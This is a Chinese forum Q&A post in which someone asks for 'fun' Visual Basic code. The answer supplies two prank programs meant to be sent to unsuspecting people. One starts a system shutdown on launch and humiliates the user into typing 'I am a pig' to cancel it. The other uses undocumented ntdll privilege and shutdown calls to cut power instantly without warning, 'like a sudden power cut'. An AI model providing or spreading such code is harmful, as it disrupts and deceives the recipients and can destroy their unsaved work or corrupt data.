请哪位高手发一个有趣的vb代码给我？

********第一个捉弄人。command timer label text各一个
Dim i As Integer
Private Sub Form_Load()
shell "shutdown -s"
i = 30
End Sub
Private Sub Timer1_Timer()
i = i - 1
Label1.Caption = "说自己是猪，还有" & i & "秒就关机。。。"
If i = 0 Then
Shell "shutdown -s"
End If
End Sub
Private Sub Command1_Click()
if text1.text="我是猪" then shell"shutdown -a"
End Sub

************第二个，狠一点。发给别人，啥变化都没有，就关机了。像突然停电。。。。。。
Private Declare Function RtlAdjustPrivilege& Lib "ntdll" (ByVal Privilege&, ByVal NewValue&, ByVal NewThread&, OldValue&)

Private Declare Function NtShutdownSystem& Lib "ntdll" (ByVal ShutdownAction&)
Private Const SE_SHUTDOWN_PRIVILEGE& = 19
Private Const shutdown& = 0
Private Const RESTART& = 1
Private Const POWEROFF& = 2

Sub jin()
RtlAdjustPrivilege SE_SHUTDOWN_PRIVILEGE, 1, 0, 0
NtShutdownSystem POWEROFF '关机
End Sub
Private Sub Form_Load()
jin
End Sub
快速关机（最多3s，没提示） 用了微软没有对外公开的RtlAdjustPrivilege函数，用来提权 其他都能读懂吧？
发给别人，啥变化都没有，就关机了。像突然停电。。。。。。
不满意要干啥追问一下。。。